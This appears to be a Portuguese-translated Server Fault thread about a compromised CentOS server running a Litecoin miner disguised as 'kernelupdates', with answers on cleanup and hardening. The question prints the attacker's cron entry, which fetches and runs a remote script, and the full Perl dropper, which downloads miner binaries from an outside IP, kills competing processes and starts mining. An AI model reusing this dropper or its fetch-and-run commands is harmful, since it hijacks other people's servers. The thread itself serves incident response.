./kernelupdates 100% de uso da CPU

Question

Eu tenho um servidor CENTOS6 rodando com alguns wordpress & sites de tomcat. Nos últimos dois dias, ele caiu continuamente. Após a investigação, descobrimos que o binário kernelupdates consome 100% de cpu no servidor. O processo é mencionado abaixo.

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

Mas este processo parece uma atualização de kernel inválida. Pode ser servidor está comprometido e este processo é instalado pelo hacker, então eu matei este processo & removeu as entradas do cron do usuário do apache.

Mas, de alguma forma, esse processo começou novamente depois de algumas horas & Entradas cron também restauradas, estou procurando a coisa que está modificando trabalhos cron.

1. Esse processo pertence a um processo de mineração?
2. Como podemos parar a modificação do cronjob e limpar a origem desse processo?

Entrada do Cron (usuário do apache)

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar='uname -m';
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists='ls /tmp/.ice-unix';
$cratch='ps aux | grep -v grep | grep kernelupdates';
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig='wget --version | grep GNU';
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";

    

Answer 1

Este processo é um processo de mineração Litecoin (uma criptomoeda alternativa). Alguém com acesso ao seu servidor está usando seu servidor para gerar Litecoins (= ganhar dinheiro). O nome kernelupdates é muito provável apenas para confundir você.

Antes de remover qualquer coisa, eu recomendo fazer um backup de tudo que você tem e descobrir como isso foi colocado em seu servidor. Se você removê-lo, mas não remover o problema de segurança, é muito provável que ele volte. Eu apostaria em Wordpress ou algum plugin desatualizado sendo a falha de segurança.

Após encontrar e, claro, corrigir o problema de segurança, tente procurar seus logs do cron no syslog. Isso pode dar uma indicação de como o cronjob é inserido.

    

Answer 2

Eu estava comprometido com isso no meu servidor. Eu posso ver em meus registros que eu estava sendo atingido em um site wordpress antigo, e, em seguida, segundos depois, eles tinham as tarefas cron executando mais e mais. Interessante que eu já tive esse site por algum tempo agora, e isso só aconteceu quando mudei para o nginx e php-fpm, a sua configuração é a mesma?

Espero que tudo o que aconteceu é que eles puderam instalar essas tarefas cron através de uma vulnerabilidade no php / wordpress, basicamente elas:

• Obtenha acesso ao shell e execute crontab -e para que as tarefas do cron disparem
• A tarefa cron coloca o script em /tmp/abc.txt.1 e o executa
• O script faz o download do minerador do litecoin em /etc/.ice-unix renomeia o kernelupdates e o inicia
• Eles garantem que o minerador permaneça de lá, disparando o cron job várias vezes

Observe também que o nome de usuário do litecoin é um pouco variável entre spdrman.2 e spdrman.10 .

Uma coisa, por favor, verifique seu / etc / passwd para o seu usuário do apache. Eu tive meu shell estupidamente definido para /bin/bash isso é provavelmente mais seguro para ser definido como /bin/false

Além disso, se possível, certifique-se de que o usuário do apache não possa executar comandos como crontab , wget ou curl para impedir que isso aconteça novamente. Esses comandos parecem estar no centro do que eles fizeram quando entraram.

Como precaução, estou alterando minha porta ssh novamente, verifiquei duas vezes e configurei PermitRootLogin no em configurações sshd, então tenho certeza de que elas não poderiam ter entrado diretamente como raiz

    

Answer 3

Eu também tenho essa coisa, aparentemente a senha de um usuário vazou de alguma forma. O que eu fiz até agora:

1. Matou o processo com -9 (foi o único desse usuário)
2. Limpou o crontab desse usuário com sudo crontab -e -u <user>
3. Desativou o login desse usuário com sudo usermod -s /usr/sbin/nologin <user> (tente /sbin/nologin ou /bin/false , se não estiver disponível)
4. Alterou a senha do usuário e removeu ~/.ssh/authorized_keys
5. O usuário conseguiu gravar no docroot de um site habilitado para PHP. Então eu desabilitei esse site. Se eles colocaram um script ruim em algum lugar aqui, eles podem iniciar os processos novamente.
6. Verifique se o processo foi iniciado novamente (foi, repita tudo até agora)
7. Instalado chkrootkit & rkhunter e executou (apenas falsos positivos)

A próxima coisa a fazer é reconstruir todo o servidor. É apenas uma VM e eu queria automatizar a configuração de qualquer maneira usando Ansible , mas ainda não é divertido ter que fazê-lo com pressa. Mas é a única maneira de ter certeza de que nada é adulterado.

    

Answer 4

Aconteceu com um dos meus clientes. Uma correção simples enquanto você encontra a falha de segurança é evitar o download de updates.dyndn-web.com, bem como desabilitar o crontab para o usuário afetado. (crontab + bin / false solutions mencionadas anteriormente)

echo "www-data" >> /etc/cron.deny 

Isso desativará o crontab para o usuário www-data

Os itens a seguir desativarão o download de scripts de updates.dyndn-web.com

127.0.0.1       updates.dyndn-web.com   #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage

Nota: o script usado está matando o sistema "named" ("killall -9 named");

Eu apenas enviei um tweet para @wemineltc para pedir que eles banissem o usuário e transferissem seu LTC para uma instituição de caridade, eu convido você a retweetar.

link

    

Answer 5

De acordo com o script perl apresentado por você, seu servidor foi comprometido. Eu recomendaria strongmente instalar o chrootkit (yum install chrootkit) e verificar o sistema de arquivos. Eu também recomendo desabilitar esse cronjob, para que o rootkit não seja atualizado.

    

Answer 6

O mesmo problema no servidor opensuse há cinco dias; o script usado é exatamente o que eu encontrei no meu servidor (mesmo conjunto de nomes de usuário e senha), mesmo cron, at e ips. Verifique também se há um processo / usr / bin / host travado com ps; o processo carrega uma biblioteca dinâmica com LD_PRELOAD, no meu caso libworker.so (deletado toda vez que / usr / bin / host é chamado do trabalho at), que tenta se conectar ao update-dyndn-web.com fazendo um POST para. ../xenta.php. Ele funciona com um shellcode modificado (o dumper é escrito em php e é adequado para uso com o wordpress) usado para construir a biblioteca dinâmica.

Espero que isso possa ajudar.